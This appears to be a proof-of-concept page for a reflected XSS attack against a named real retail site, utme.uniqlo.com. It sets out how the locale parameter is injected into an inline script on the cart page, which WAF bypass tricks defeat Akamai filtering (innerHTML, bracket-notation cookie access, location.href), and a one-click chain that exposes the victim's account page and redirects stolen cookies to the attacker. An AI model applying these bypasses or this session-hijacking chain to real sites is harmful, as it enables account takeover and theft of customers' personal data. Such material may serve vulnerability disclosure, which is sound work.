Reflected XSS → Session Hijacking

utme.uniqlo.com · 16 regions · Akamai WAF bypassed · no CSP
Step 1 — XSS Proof

The locale parameter on the UTme cart page is reflected raw into an inline <script> block. No CSP is present. alert() is blocked by Akamai WAF — bypassed with document.body.innerHTML for visual proof of arbitrary JS execution.

Execute XSS (innerHTML proof)
01 Opens utme.uniqlo.com/{region}/front/mkt/cart?locale=<payload>
02 Payload reflected into new DeliveryDateText({ locale:'...' })
03 Page body rewritten — proves arbitrary JavaScript execution
Step 2 — Session Hijacking

One click does three things simultaneously:

1. Opens /accounts/mine in a popup — the victim's browser sends the HttpOnly fr.sid session cookie, exposing their full account data (email, birthday, address, phone).

2. Reads all non-HttpOnly cookies via document['cook'+'ie'] (Akamai WAF bypass using bracket notation + string concatenation).

3. Redirects back here with the stolen cookies — the data from the popup and the cookies are displayed below.

Hijack Session → Show Victim Data
01 XSS fires: open('/accounts/mine') — popup shows victim's PII
02 Same tick: document['cook'+'ie'] exfiltrates all non-HttpOnly cookies
03 location.href redirects here with the stolen data
Akamai WAF bypasses:
alert() → innerHTML · document.cookie+redirect → document['cook'+'ie'] · window.location → location.href · 16 of 17 regions vulnerable (eu returns 404)